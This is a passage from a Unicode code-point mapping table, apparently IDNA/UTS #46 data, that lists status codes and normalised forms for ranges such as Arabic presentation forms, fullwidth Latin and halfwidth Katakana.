جلاله"],[65020,1,"ریال"],[65021,2],[[65022,65023],2],[[65024,65039],7],[65040,5,","],[65041,1,"、"],[65042,3],[65043,5,":"],[65044,5,";"],[65045,5,"!"],[65046,5,"?"],[65047,1,"〖"],[65048,1,"〗"],[65049,3],[[65050,65055],3],[[65056,65059],2],[[65060,65062],2],[[65063,65069],2],[[65070,65071],2],[65072,3],[65073,1,"—"],[65074,1,"–"],[[65075,65076],5,"_"],[65077,5,"("],[65078,5,")"],[65079,5,"{"],[65080,5,"}"],[65081,1,"〔"],[65082,1,"〕"],[65083,1,"【"],[65084,1,"】"],[65085,1,"《"],[65086,1,"》"],[65087,1,"〈"],[65088,1,"〉"],[65089,1,"「"],[65090,1,"」"],[65091,1,"『"],[65092,1,"』"],[[65093,65094],2],[65095,5,"["],[65096,5,"]"],[[65097,65100],5," ̅"],[[65101,65103],5,"_"],[65104,5,","],[65105,1,"、"],[65106,3],[65107,3],[65108,5,";"],[65109,5,":"],[65110,5,"?"],[65111,5,"!"],[65112,1,"—"],[65113,5,"("],[65114,5,")"],[65115,5,"{"],[65116,5,"}"],[65117,1,"〔"],[65118,1,"〕"],[65119,5,"#"],[65120,5,"&"],[65121,5,"*"],[65122,5,"+"],[65123,1,"-"],[65124,5,"<"],[65125,5,">"],[65126,5,"="],[65127,3],[65128,5,"\\"],[65129,5,"$"],[65130,5,"%"],[65131,5,"@"],[[65132,65135],3],[65136,5," ً"],[65137,1,"ـً"],[65138,5," ٌ"],[65139,2],[65140,5," ٍ"],[65141,3],[65142,5," َ"],[65143,1,"ـَ"],[65144,5," ُ"],[65145,1,"ـُ"],[65146,5," ِ"],[65147,1,"ـِ"],[65148,5," ّ"],[65149,1,"ـّ"],[65150,5," ْ"],[65151,1,"ـْ"],[65152,1,"ء"],[[65153,65154],1,"آ"],[[65155,65156],1,"أ"],[[65157,65158],1,"ؤ"],[[65159,65160],1,"إ"],[[65161,65164],1,"ئ"],[[65165,65166],1,"ا"],[[65167,65170],1,"ب"],[[65171,65172],1,"ة"],[[65173,65176],1,"ت"],[[65177,65180],1,"ث"],[[65181,65184],1,"ج"],[[65185,65188],1,"ح"],[[65189,65192],1,"خ"],[[65193,65194],1,"د"],[[65195,65196],1,"ذ"],[[65197,65198],1,"ر"],[[65199,65200],1,"ز"],[[65201,65204],1,"س"],[[65205,65208],1,"ش"],[[65209,65212],1,"ص"],[[65213,65216],1,"ض"],[[65217,65220],1,"ط"],[[65221,65224],1,"ظ"],[[65225,65228],1,"ع"],[[65229,65232],1,"غ"],[[65233,65236],1,"ف"],[[65237,65240],1,"ق"],[[65241,65244],1,"ك"],[[65245,65248],1,"ل"],[[65249,65252],1,"م"],[[65253,65256],1,"ن"],[[65257,65260],1,"ه"],[[65261,65262],1,"و"],[[65263,65264],1,"ى"],[[65265,65268],1,"ي"],[[65269,65270],1,"لآ"],[[65271,65272],1,"لأ"],[[65273,65274],1,"لإ"],[[65275,65276],1,"لا"],[[65277,65278],3],[65279,7],[65280,3],[65281,5,"!"],[65282,5,"\""],[65283,5,"#"],[65284,5,"$"],[65285,5,"%"],[65286,5,"&"],[65287,5,"'"],[65288,5,"("],[65289,5,")"],[65290,5,"*"],[65291,5,"+"],[65292,5,","],[65293,1,"-"],[65294,1,"."],[65295,5,"/"],[65296,1,"0"],[65297,1,"1"],[65298,1,"2"],[65299,1,"3"],[65300,1,"4"],[65301,1,"5"],[65302,1,"6"],[65303,1,"7"],[65304,1,"8"],[65305,1,"9"],[65306,5,":"],[65307,5,";"],[65308,5,"<"],[65309,5,"="],[65310,5,">"],[65311,5,"?"],[65312,5,"@"],[65313,1,"a"],[65314,1,"b"],[65315,1,"c"],[65316,1,"d"],[65317,1,"e"],[65318,1,"f"],[65319,1,"g"],[65320,1,"h"],[65321,1,"i"],[65322,1,"j"],[65323,1,"k"],[65324,1,"l"],[65325,1,"m"],[65326,1,"n"],[65327,1,"o"],[65328,1,"p"],[65329,1,"q"],[65330,1,"r"],[65331,1,"s"],[65332,1,"t"],[65333,1,"u"],[65334,1,"v"],[65335,1,"w"],[65336,1,"x"],[65337,1,"y"],[65338,1,"z"],[65339,5,"["],[65340,5,"\\"],[65341,5,"]"],[65342,5,"^"],[65343,5,"_"],[65344,5,"`"],[65345,1,"a"],[65346,1,"b"],[65347,1,"c"],[65348,1,"d"],[65349,1,"e"],[65350,1,"f"],[65351,1,"g"],[65352,1,"h"],[65353,1,"i"],[65354,1,"j"],[65355,1,"k"],[65356,1,"l"],[65357,1,"m"],[65358,1,"n"],[65359,1,"o"],[65360,1,"p"],[65361,1,"q"],[65362,1,"r"],[65363,1,"s"],[65364,1,"t"],[65365,1,"u"],[65366,1,"v"],[65367,1,"w"],[65368,1,"x"],[65369,1,"y"],[65370,1,"z"],[65371,5,"{"],[65372,5,"|"],[65373,5,"}"],[65374,5,"~"],[65375,1,"⦅"],[65376,1,"⦆"],[65377,1,"."],[65378,1,"「"],[65379,1,"」"],[65380,1,"、"],[65381,1,"・"],[65382,1,"ヲ"],[65383,1,"ァ"],[65384,1,"ィ"],[65385,1,"ゥ"],[65386,1,"ェ"],[65387,1,"ォ"],[65388,1,"ャ"],[65389,1,"ュ"],[65390,1,"ョ"],[65391,1,"ッ"],[65392,1,"ー"],[65393,1,"ア"],[65394,1,"イ"],[65395,1,"ウ"],[65396,1,"エ"],[65397,1,"オ"],[65398,1,"カ"],[65399,1,"キ"],[65400,1,"ク"],[65401,1,"ケ"],[65402,1,"コ"],[65403,1,"サ"],[65404,1,"シ"],[65405,1,"ス"],[65406,1,"セ"],[65407,1,"ソ"],[65408,1,"タ"],[65409,1,"チ"],[65410,1,"ツ"],[65411,1,"テ"],[65412,1,"ト"],[65413,1,"ナ"],[65414,1,"ニ"],[65415,1,"ヌ"],[65416,1,"ネ"],[65417,1,"ノ"],[65418,1,"ハ"],[65419,1,"ヒ"],[65420,1,"フ"],[65421,1,"ヘ"],[65422,1,"ホ"],[65423,1,"マ"],[65424,1,"ミ"],[65425,1,"ム"],[65426,1,"メ"],[65427,1,"モ"],[65428,1,"ヤ"],[65429,1,"ユ"],[65430,1,"ヨ"],[65431,1,"ラ"],[65432,1,"リ"],[65433,1,"ル"],[65434,1,"レ"],[65435,1,"ロ"],[65436,1,"ワ"],[65437,1,"ン"],[65438,1,"゙"],[65439,1,"゚"],[65440,3],[65441,1,"ᄀ"],[65442,1,"ᄁ"],[65443,1,"ᆪ"],[65444,1,"ᄂ"],[65445,1,"ᆬ"],[65446,1,"ᆭ"],[65447,1,"ᄃ"],[65448,1,"ᄄ"],[65449,1,"ᄅ"],[65450,1,"ᆰ"],[65451,1,"ᆱ"],[65452,1,"ᆲ"],[65453,1,"ᆳ"],[65454,1,"ᆴ"],[65455,1,"ᆵ"],[65456,1,"ᄚ"],[65457,1,"ᄆ"],[65458,1,"ᄇ"],[65459,1,"ᄈ"],[65460,1,"ᄡ"],[65461,1,"ᄉ"],[65462,1,"ᄊ"],[65463,1,"ᄋ"],[65464,1,"ᄌ"],[65465,1,"ᄍ"],[65466,1,"ᄎ"],[65467,1,"ᄏ"],[65468,1,"ᄐ"],[65469,1,"ᄑ"],[65470,1,"ᄒ"],[[65471,65473],3],[65474,1,"ᅡ"],[65475,1,"ᅢ"],[65476,1,"ᅣ"],[65477,1,"ᅤ"],[65478,1,"ᅥ"],[65479,1,"ᅦ"],[[65480,65481],3],[65482,1,"ᅧ"],[65483,1,"ᅨ"],[65484,1,"ᅩ"],[65485,1,"ᅪ"],[65486,1,"ᅫ"],[65487,1,"ᅬ"],[[65488,65489],3],[65490,1,"ᅭ"],[65491,1,"ᅮ"],[65492,1,"ᅯ"],[65493,1,"ᅰ"],[65494,1,"ᅱ"],[65495,1,"ᅲ"],[[65496,65497],3],[65498,1,"ᅳ"],[65499,1,"ᅴ"],[65500,1,"ᅵ"],[[65501,65503],3],[65504,1,"¢"],[65505,1,"£"],[65506,1,"¬"],[65507,5," ̄"],[65508,1,"¦"],[65509,1,"¥"],[65510,1,"₩"],[65511,3],[65512,1,"│"],[65513,1,"←"],[65514,1,"↑"],[65515,1,"→"],[65516,1,"↓"],[65517,1,"■"],[65518,1,"○"],[[65519,65528],3],[[65529,65531],3],[65532,3],[65533,3],[[65534,65535],3],[[65536,65547],2],[65548,3],[[65549,65574],2],[65575,3],[[65576,65594],2],[65595,3],[[65596,65597],2],[65598,3],[[65599,65613],2],[[65614,65615],3],[[65616,65629],2],[[65630,65663],3],[[65664,65786],2],[[65787,65791],3],[[65792,65794],2],[[65795,65798],3],[[65799,65843],2],[[65844,65846],3],[[65847,65855],2],[[65856,65930],2],[[65931,65932],2],[[65933,65934],2],[65935,3],[[65936,65947],2],[65948,2],[[65949,65951],3],[65952,2],[[65953,65999],3],[[66000,66044],2],[66045,2],[[66046,66175],3],[[66176,66204],2],[[66205,66207],3],[[66208,66256],2],[[66257,66271],3],[66272,2],[[66273,66299],2],[[66300,66303],3],[[66304,66334],2],[66335,2],[[66336,66339],2],[[66340,66348],3],[[66349,66351],2],[[66352,66368],2],[66369,2],[[66370,66377],2],[66378,2],[[66379,66383],3],[[66384,66426],2],[[66427,66431],3],[[66432,66461],2],[66462,3],[66463,2],[[66464,66499],2],[[66500,66503],3],[[66504,66511],2],[[66512,66517],2],[[66518,66559],3],[66560,1,"𐐨"],[66561,1,"𐐩"],[66562,1,"𐐪"],[66563,1,"𐐫"],[66564,1,"𐐬"],[66565,1,"𐐭"],[66566,1,"𐐮"],[66567,1,"𐐯"],[66568,1,"𐐰"],[66569,1,"𐐱"],[66570,1,"𐐲"],[66571,1,"𐐳"],[66572,1,"𐐴"],[66573,1,"𐐵"],[66574,1,"𐐶"],[66575,1,"𐐷"],[66576,1,"𐐸"],[66577,1,"𐐹"],[66578,1,"𐐺"],[66579,1,"𐐻"],[66580,1,"𐐼"],[66581,1,"𐐽"],[66582,1,"𐐾"],[66583,1,"𐐿"],[66584,1,"𐑀"],[66585,1,"𐑁"],[66586,1,"𐑂"],[66587,1,"𐑃"],[66588,1,"𐑄"],[66589,1,"𐑅"],[66590,1,"𐑆"],[66591,1,"𐑇"],[66592,1,"𐑈"],[66593,1,"𐑉"],[66594,1,"𐑊"],[66595,1,"𐑋"],[66596,1,"𐑌"],[66597,1,"𐑍"],[66598,1,"𐑎"],[66599,1,"𐑏"],[[66600,66637],2],[[66638,66717],2],[[66718,66719],3],[[66720,66729],2],[[66730,66735],3],[66736,1,"𐓘"],[66737,1,"𐓙"],[66738,1,"𐓚"],[66739,1,"𐓛"],[66740,1,"𐓜"],[66741,1,"𐓝"],[66742,1,"𐓞"],[66743,1,"𐓟"],[66744,1,"𐓠"],[66745,1,"𐓡"],[66746,1,"𐓢"],[66747,1,"𐓣"],[66748,1,"𐓤"],[66749,1,"𐓥"],[66750,1,"𐓦"],[66751,1,"𐓧"],[66752,1,"𐓨"],[66753,1,"𐓩"],[66754,1,"𐓪"],[66755,1,"𐓫"],[66756,1,"𐓬"],[66757,1,"𐓭"],[66758,1,"𐓮"],[66759,1,"𐓯"],[66760,1,"𐓰"],[66761,1,"𐓱"],[66762,1,"𐓲"],[66763,1,"𐓳"],[66764,1,"𐓴"],[66765,1,"𐓵"],[66766,1,"𐓶"],[66767,1,"𐓷"],[66768,1,"𐓸"],[66769,1,"𐓹"],[66770,1,"𐓺"],[66771,1,"𐓻"],[[66772,66775],3],[[66776,66811],2],[[66812,66815],3],[[66816,66855],2],[[66856,66863],3],[[66864,66915],2],[[66916,66926],3],[66927,2],[66928,1,"𐖗"],[66929,1,"𐖘"],[66930,1,"𐖙"],[66931,1,"𐖚"],[66932,1,"𐖛"],[66933,1,"𐖜"],[66934,1,"𐖝"],[66935,1,"𐖞"],[66936,1,"𐖟"],[66937,1,"𐖠"],[66938,1,"𐖡"],[66939,3],[66940,1,"𐖣"],[66941,1,"𐖤"],[66942,1,"𐖥"],[66943,1,"𐖦"],[66944,1,"𐖧"],[66945,1,"𐖨"],[66946,1,"𐖩"],[66947,1,"𐖪"],[66948,1,"𐖫"],[66949,1,"𐖬"],[66950,1,"𐖭"],[66951,1,"𐖮"],[66952,1,"𐖯"],[66953,1,"𐖰"],[66954,1,"𐖱"],[66955,3],[66956,1,"𐖳"],[66957,1,"𐖴"],[66958,1,"𐖵"],[66959,1,"𐖶"],[66960,1,"𐖷"],[66961,1,"𐖸"],[66962,1,"𐖹"],[66963,3],[66964,1,"𐖻"],[66965,1,"𐖼"],[66966,3],[[66967,66977],2],[66978,3],[[66979,66993],2],[66994,3],[[66995,67001],2],[67002,3],[[67003,67004],2],[[67005,67071],3],[[67072,67382],2],[[67383,67391],3],[[67392,67413],2],[[67414,67423],3],[[67424,67431],2],[[67432,67455],3],[67456,2],[67457,1,"ː"],[67458,1,"ˑ"],[67459,1,"æ"],[67460,1,"ʙ"],[67461,1,"ɓ"],[67462,3],[67463,1,"ʣ"],[67464,1,"ꭦ"],[67465,1,"ʥ"],[67466,1,"ʤ"],[67467,1,"ɖ"],[67468,1,"ɗ"],[67469,1,"ᶑ"],[67470,1,"ɘ"],[67471,1,"ɞ"],[67472,1,"ʩ"],[67473,1,"ɤ"],[67474,1,"ɢ"],[67475,1,"ɠ"],[67476,1,"ʛ"],[67477,1,"ħ"],[67478,1,"ʜ"],[67479,1,"ɧ"],[67480,1,"ʄ"],[67481,1,"ʪ"],[67482,1,"ʫ"],[67483,1,"ɬ"],[67484,1,"𝼄"],[67485,1,"ꞎ"],[67486,1,"ɮ"],[67487,1,"𝼅"],[67488,1,"ʎ"],[67489,1,"𝼆"],[67490,1,"ø"],[67491,1,"ɶ"],[67492,1,"ɷ"],[67493,1,"q"],[67494,1,"ɺ"],[67495,1,"𝼈"],[67496,1,"ɽ"],[67497,1,"ɾ"],[67498,1,"ʀ"],[67499,1,"ʨ"],[67500,1,"ʦ"],[67501,1,"ꭧ"],[67502,1,"ʧ"],[67503,1,"ʈ"],[67504,1,"ⱱ"],[67505,3],[67506,1,"ʏ"],[67507,1,"ʡ"],[67508,1,"ʢ"],[67509,1,"ʘ"],[67510,1,"ǀ"],[67511,1,"ǁ"],[67512,1,"ǂ"],[67513,1,"𝼊"],[67514,1,"𝼞"],[[67515,67583],3],[[67584,67589],2],[[67590,67591],3],[67592,2],[67593,3],[[67594,67637],2],[67638,3],[[67639,67640],2],[[67641,67643],3],[67644,2],[[67645,67646],3],[67647,2],[[67648,67669],2],[67670,3],[[67671,67679],2],[[67680,67702],2],[[67703,67711],2],[[67712,67742],2],[[67743,67750],3],[[67751,67759],2],[[67760,67807],3],[[67808,67826],2],[67827,3],[[67828,67829],2],[[67830,67834],3],[[67835,67839],2],[[67840,67861],2],[[67862,67865],2],[[67866,67867],2],[[67868,67870],3],[67871,2],[[67872,67897],2],[[67898,67902],3],[67903,2],[[67904,67967],3],[[67968,68023],2],[[68024,68027],3],[[68028,68029],2],[[68030,68031],2],[[68032,68047],2],[[68048,68049],3],[[68050,68095],2],[[68096,68099],2],[68100,3],[[68101,68102],2],[[68103,68107],3],[[68108,68115],2],[68116,3],[[68117,68119],2],[68120,3],[[68121,68147],2],[[68148,68149],2],[[68150,68151],3],[[68152,68154],2],[[68155,68158],3],[68159,2],[[68160,68167],2],[68168,2],[[68169,68175],3],[[68176,68184],2],[[68185,68191],3],[[68192,68220],2],[[68221,68223],2],[[68224,68252],2],[[68253,68255],2],[[68256,68287],3],[[68288,68295],2],[68296,2],[[68297,68326],2],[[68327,68330],3],[[68331,68342],2],[[68343,68351],3],[[68352,68405],2],[[68406,68408],3],[[68409,68415],2],[[68416,68437],2],[[68438,68439],3],[[68440,68447],2],[[68448,68466],2],[[68467,68471],3],[[68472,68479],2],[[68480,68497],2],[[68498,68504],3],[[68505,68508],2],[[68509,68520],3],[[68521,68527],2],[[68528,68607],3],[[68608,68680],2],[[68681,68735],3],[68736,1,"𐳀"],[68737,1,"𐳁"],[68738,1,"𐳂"],[68739,1,"𐳃"],[68740,1,"𐳄"],[68741,1,"𐳅"],[68742,1,"𐳆"],[68743,1,"𐳇"],[68744,1,"𐳈"],[68745,1,"𐳉"],[68746,1,"𐳊"],[68747,1,"𐳋"],[68748,1,"𐳌"],[68749,1,"𐳍"],[68750,1,"𐳎"],[68751,1,"𐳏"],[68752,1,"𐳐"],[68753,1,"𐳑"],[68754,1,"𐳒"],[68755,1,"𐳓"],[68756,1,"𐳔"],[68757,1,"𐳕"],[68758,1,"𐳖"],[68759,1,"𐳗"],[68760,1,"𐳘"],[68761,1,"𐳙"],[68762,1,"𐳚"],[68763,1,"𐳛"],[68764,1,"𐳜"],[68765,1,"𐳝"],[68766,1,"𐳞"],[68767,1,"𐳟"],[68768,1,"𐳠"],[68769,1,"𐳡"],[68770,1,"𐳢"],[68771,1,"𐳣"],[68772,1,"𐳤"],[68773,1,"𐳥"],[68774,1,"𐳦"],[68775,1,"𐳧"],[68776,1,"𐳨"],[68777,1,"𐳩"],[68778,1,"𐳪"],[68779,1,"𐳫"],[68780,1,"𐳬"],[68781,1,"𐳭"],[68782,1,"𐳮"],[68783,1,"𐳯"],[68784,1,"𐳰"],[68785,1,"𐳱"],[68786,1,"𐳲"],[[68787,68799],3],[[68800,68850],2],[[68851,68857],3],[[68858,68863],2],[[68864,68903],2],[[68904,68911],3],[[68912,68921],2],[[68922,69215],3],[[69216,69246],2],[69247,3],[[69248,69289],2],[69290,3],[[69291,69292],2],[69293,2],[[69294,69295],3],[[69296,69297],2],[[69298,69372],3],[[69373,69375],2],[[69376,69404],2],[[69405,69414],2],[69415,2],[[69416,69423],3],[[69424,69456],2],[[69457,69465],2],[[69466,69487],3],[[69488,69509],2],[[69510,69513],2],[[69514,69551],3],[[69552,69572],2],[[69573,69579],2],[[69580,69599],3],[[69600,69622],2],[[69623,69631],3],[[69632,69702],2],[[69703,69709],2],[[69710,69713],3],[[69714,69733],2],[[69734,69743],2],[[69744,69749],2],[[69750,69758],3],[69759,2],[[69760,69818],2],[[69819,69820],2],[69821,3],[[69822,69825],2],[69826,2],[[69827,69836],3],[69837,3],[[69838,69839],3],[[69840,69864],2],[[69865,69871],3],[[69872,69881],2],[[69882,69887],3],[[69888,69940],2],[69941,3],[[69942,69951],2],[[69952,69955],2],[[69956,69958],2],[69959,2],[[69960,69967],3],[[69968,70003],2],[[70004,70005],2],[70006,2],[[70007,70015],3],[[70016,70084],2],[[70085,70088],2],[[70089,70092],2],[70093,2],[[70094,70095],2],[[70096,70105],2],[70106,2],[70107,2],[70108,2],[[70109,70111],2],[70112,3],[[70113,70132],2],[[70133,70143],3],[[70144,70161],2],[70162,3],[[70163,70199],2],[[70200,70205],2],[70206,2],[[70207,70209],2],[[70210,70271],3],[[70272,70278],2],[70279,3],[70280,2],[70281,3],[[70282,70285],2],[70286,3],[[70287,70301],2],[70302,3],[[70303,70312],2],[70313,2],[[70314,70319],3],[[70320,70378],2],[[70379,70383],3],[[70384,70393],2],[[70394,70399],3],[70400,2],[[70401,70403],2],[70404,3],[[70405,70412],2],[[70413,70414],3],[[70415,70416],2],[[70417,70418],3],[[70419,70440],2],[70441,3],[[70442,70448],2],[70449,3],[[70450,70451],2],[70452,3],[[70453,70457],2],[70458,3],[70459,2],[[70460,70468],2],[[70469,70470],3],[[70471,70472],2],[[70473,70474],3],[[70475,70477],2],[[70478,70479],3],[70480,2],[[70481,70486],3],[70487,2],[[70488,70492],3],[[70493,70499],2],[[70500,70501],3],[[70502,70508],2],[[70509,70511],3],[[70512,70516],2],[[70517,70655],3],[[70656,70730],2],[[70731,70735],2],[[70736,70745],2],[70746,2],[70747,2],[70748,3],[70749,2],[70750,2],[70751,2],[[70752,70753],2],[[70754,70783],3],[[70784,70853],2],[70854,2],[70855,2],[[70856,70863],3],[[70864,70873],2],[[70874,71039],3],[[71040,71093],2],[[71094,71095],3],[[71096,71104],2],[[71105,71113],2],[[71114,71127],2],[[71128,71133],2],[[71134,71167],3],[[71168,71232],2],[[71233,71235],2],[71236,2],[[71237,71247],3],[[71248,71257],2],[[71258,71263],3],[[71264,71276],2],[[71277,71295],3],[[71296,71351],2],[71352,2],[71353,2],[[71354,71359],3],[[71360,71369],2],[[71370,71423],3],[[71424,71449],2],[71450,2],[[71451,71452],3],[[71453,71467],2],[[71468,71471],3],[[71472,71481],2],[[71482,71487],2],[[71488,71494],2],[[71495,71679],3],[[71680,71738],2],[71739,2],[[71740,71839],3],[71840,1,"𑣀"],[71841,1,"𑣁"],[71842,1,"𑣂"],[71843,1,"𑣃"],[71844,1,"𑣄"],[71845,1,"𑣅"],[71846,1,"𑣆"],[71847,1,"𑣇"],[71848,1,"𑣈"],[71849,1,"𑣉"],[71850,1,"𑣊"],[71851,1,"𑣋"],[71852,1,"𑣌"],[71853,1,"𑣍"],[71854,1,"𑣎"],[71855,1,"𑣏"],[71856,1,"𑣐"],[71857,1,"𑣑"],[71858,1,"𑣒"],[71859,1,"𑣓"],[71860,1,"𑣔"],[71861,1,"𑣕"],[71862,1,"𑣖"],[71863,1,"𑣗"],[71864,1,"𑣘"],[71865,1,"𑣙"],[71866,1,"𑣚"],[71867,1,"𑣛"],[71868,1,"𑣜"],[71869,1,"𑣝"],[71870,1,"𑣞"],[71871,1,"𑣟"],[[71872,71913],2],[[71914,71922],2],[[71923,71934],3],[71935,2],[[71936,71942],2],[[71943,71944],3],[71945,2],[[71946,71947],3],[[71948,71955],2],[71956,3],[[71957,71958],2],[71959,3],[[71960,71989],2],[71990,3],[[71991,71992],2],[[71993,71994],3],[[71995,72003],2],[[72004,72006],2],[[72007,72015],3],[[72016,72025],2],[[72026,72095],3],[[72096,72103],2],[[72104,72105],3],[[72106,72151],2],[[72152,72153],3],[[72154,72161],2],[72162,2],[[72163,72164],2],[[72165,72191],3],[[72192,72254],2],[[72255,72262],2],[72263,2],[[72264,72271],3],[[72272,72323],2],[[72324,72325],2],[[72326,72345],2],[[72346,72348],2],[72349,2],[[72350,72354],2],[[72355,72367],3],[[72368,72383],2],[[72384,72440],2],[[72441,72447],3],[[72448,72457],2],[[72458,72703],3],[[72704,72712],2],[72713,3],[[72714,72758],2],[72759,3],[[72760,72768],2],[[72769,72773],2],[[72774,72783],3],[[72784,72793],2],[[72794,72812],2],[[72813,72815],3],[[72816,72817],2],[[72818,72847],2],[[72848,72849],3],[[72850,72871],2],[72872,3],[[72873,72886],2],[[72887,72959],3],[[72960,72966],2],[72967,3],[[72968,72969],2],[72970,3],[[72971,73014],2],[[73015,73017],3],[73018,2],[73019,3],[[73020,73021],2],[73022,3],[[73023,73031],2],[[73032,73039],3],[[73040,73049],2],[[73050,73055],3],[[73056,73061],2],[73062,3],[[73063,73064],2],[73065,3],[[73066,73102],2],[73103,3],[[73104,73105],2],[73106,3],[[73107,73112],2],[[73113,73119],3],[[73120,73129],2],[[73130,73439],3],[[73440,73462],2],[[73463,73464],2],[[73465,73471],3],[[73472,73488],2],[73489,3],[[73490,73530],2],[[73531,73533],3],[[73534,73538],2],[[73539,73551],2],[[73552,73561],2],[[73562,73647],3],[73648,2],[[73649,73663],3],[[73664,73713],2],[[73714,73726],3],[73727,2],[[73728,74606],2],[[74607,74648],2],[74649,2],[[74650,74751],3],[[74752,74850],2],[[74851,74862],2],[74863,3],[[74864,74867],2],[74868,2],[[74869,74879],3],[[74880,75075],2],[[75076,77711],3],[[77712,77808],2],[[77809,77810],2],[[77811,77823],3],[[77824,78894],2],[78895,2],[[78896,78904],3],[[78905,78911],3],[[78912,78933],2],[[78934,82943],3],[[82944,83526],2],[[83527,92159],3],[[92160,92728],2],[[92729,92735],3],[[92736,92766],2],[92767,3],[[92768,92777],2],[[92778,92781],3],[[92782,92783],2],[[92784,92862],2],[92863,3],[[92864,92873],2],[[92874,92879],3],[[92880,92909],2],[[92910,92911],3],[[92912,92916],2],[92917,2],[[92918,92927],3],[[92928,92982],2],[[92983,92991],2],[[92992,92995],2],[[92996,92997],2],[[92998,93007],3],[[93008,93017],2],[93018,3],[[93019,93025],2],[93026,3],[[93027,93047],2],[[93048,93052],3],[[93053,93071],2],[[93072,93759],3],[93760,1,"𖹠"],[93761,1,"𖹡"],[93762,1,"𖹢"],[93763,1,"𖹣"],[93764,1,"𖹤"],[93765,1,"𖹥"],[93766,1,"𖹦"],[93767,1,"𖹧"],[93768,1,"𖹨"],[93769,1,"𖹩"],[93770,1,"𖹪"],[93771,1,"𖹫"],[93772,1,"𖹬"],[93773,1,"𖹭"],[93774,1,"𖹮"],[93775,1,"𖹯"],[93776,1,"𖹰"],[93777,1,"𖹱"],[93778,1,"𖹲"],[93779,1,"𖹳"],[93780,1,"𖹴"],[93781,1,"𖹵"],[93782,1,"𖹶"],[93783,1,"𖹷"],[93784,1,"𖹸"],[93785,1,"𖹹"],[93786,1,"𖹺"],[93787,1,"𖹻"],[93788,1,"𖹼"],[93789,1,"𖹽"],[93790,1,"𖹾"],[93791,1,"𖹿"],[[93792,93823],2],[[93824,93850],2],[[93851,93951],3],[[93952,94020],2],[[94021,94026],2],[[94027,94030],3],[94031,2],[[94032,94078],2],[[94079,94087],2],[[94088,94094],3],[[94095,94111],2],[[94112,94175],3],[94176,2],[94177,2],[94178,2],[94179,2],[94180,2],[[94181,94191],3],[[94192,94193],2],[[94194,94207],3],[[94208,100332],2],[[100333,100337],2],[[100338,100343],2],[[100344,100351],3],[[100352,101106],2],[[101107,101589],2],[[101590,101631],3],[[101632,101640],2],[[101641,110575],3],[[110576,110579],2],[110580,3],[[110581,110587],2],[110588,3],[[110589,110590],2],[110591,3],[[110592,110593],2],[[110594,110878],2],[[110879,110882],2],[[110883,110897],3],[110898,2],[[110899,110927],3],[[110928,110930],2],[[110931,110932],3],[110933,2],[[110934,110947],3],[[110948,110951],2],[[110952,110959],3],[[110960,111355],2],[[111356,113663],3],[[113664,113770],2],[[113771,113775],3],[[113776,113788],2],[[113789,113791],3],[[113792,113800],2],[[113801,113807],3],[[113808,113817],2],[[113818,113819],3],[113820,2],[[113821,113822],2],[113823,2],[[113824,113827],7],[[113828,118527],3],[[118528,118573],2],[[118574,118575],3],[[118576,118598],2],[[118599,118607],3],[[118608,118723],2],[[118724,118783],3],[[118784,119029],2],[[119030,119039],3],[[119040,119078],2],[[119079,119080],3],[119081,2],[[119082,119133],2],[119134,1,"𝅗𝅥"],[119135,1,"𝅘𝅥"],[119136,1,"𝅘𝅥𝅮"],[119137,1,"𝅘𝅥𝅯"],[119138,1,"𝅘𝅥𝅰"],[119139,1,"𝅘𝅥𝅱"],[119140,1,"𝅘𝅥𝅲"],[[119141,119154],2],[[119155,119162],3],[[119163,119226],2],[119227,1,"𝆹𝅥"],[119228,1,"𝆺𝅥"],[119229,1,"𝆹𝅥𝅮"],[119230,1,"𝆺𝅥𝅮"],[119231,1,"𝆹𝅥𝅯"],[119232,1,"𝆺𝅥𝅯"],[[119233,119261],2],[[119262,119272],2],[[119273,119274],2],[[119275,119295],3],[[119296,119365],2],[[119366,119487],3],[[119488,119507],2],[[119508,119519],3],[[119520,119539],2],[[119540,119551],3],[[119552,119638],2],[[119639,119647],3],[[119648,119665],2],[[119666,119672],2],[[119673,119807],3],[119808,1,"a"],[119809,1,"b"],[119810,1,"c"],[119811,1,"d"],[119812,1,"e"],[119813,1,"f"],[119814,1,"g"],[119815,1,"h"],[119816,1,"i"],[119817,1,"j"],[119818,1,"k"],[119819,1,"l"],[119820,1,"m"],[119821,1,"n"],[119822,1,"o"],[119823,1,"p"],[119824,1,"q"],[119825,1,"r"],[119826,1,"s"],[119827,1,"t"],[119828,1,"u"],[119829,1,"v"],[119830,1,"w"],[119831,1,"x"],[119832,1,"y"],[119833,1,"z"],[119834,1,"a"],[119835,1,"b"],[119836,1,"c"],[119837,1,"d"],[119838,1,"e"],[119839,1,"f"],[119840,1,"g"],[119841,1,"h"],[119842,1,"i"],[119843,1,"j"],[119844,1,"k"],[119845,1,"l"],[119846,1,"m"],[119847,1,"n"],[119848,1,"o"],[119849,1,"p"],[119850,1,"q"],[119851,1,"r"],[119852,1,"s"],[119853,1,"t"],[119854,1,"u"],[119855,1,"v"],[119856,1,"w"],[119857,1,"x"],[119858,1,"y"],[119859,1,"z"],[119860,1,"a"],[119861,1,"b"],[119862,1,"c"],[119863,1,"d"],[119864,1,"e"],[119865,1,"f"],[119866,1,"g"],[119867,1,"h"],[119868,1,"i"],[119869,1,"j"],[119870,1,"k"],[119871,1,"l"],[119872,1,"m"],[119873,1,"n"],[119874,1,"o"],[119875,1,"p"],[119876,1,"q"],[119877,1,"r"],[119878,1,"s"],[119879,1,"t"],[119880,1,"u"],[119881,1,"v"],[119882,1,"w"],[119883,1,"x"],[119884,1,"y"],[119885,1,"z"],[119886,1,"a"],[119887,1,"b"],[119888,1,"c"],[119889,1,"d"],[119890,1,"e"],[119891,1,"f"],[119892,1,"g"],[119893,3],[119894,1,"i"],[119895,1,"j"],[119896,1,"k"],[119897,1,"l"],[119898,1,"m"],[119899,1,"n"],[119900,1,"o"],[119901,1,"p"],[119902,1,"q"],[119903,1,"r"],[119904,1,"s"],[119905,1,"t"],[119906,1,"u"],[119907,1,"v"],[119908,1,"w"],[119909,1,"x"],[119910,1,"y"],[119911,1,"z"],[119912,1,"a"],[119913,1,"b"],[119914,1,"c"],[119915,1,"d"],[119916,1,"e"],[119917,1,"f"],[119918,1,"g"],[119919,1,"h"],[119920,1,"i"],[119921,1,"j"],[119922,1,"k"],[119923,1,"l"],[119924,1,"m"],[119925,1,"n"],[119926,1,"o"],[119927,1,"p"],[119928,1,"q"],[119929,1,"r"],[119930,1,"s"],[119931,1,"t"],[119932,1,"u"],[119933,1,"v"],[119934,1,"w"],[119935,1,"x"],[119936,1,"y"],[119937,1,"z"],[119938,1,"a"],[119939,1,"b"],[119940,1,"c"],[119941,1,"d"],[119942,1,"e"],[11994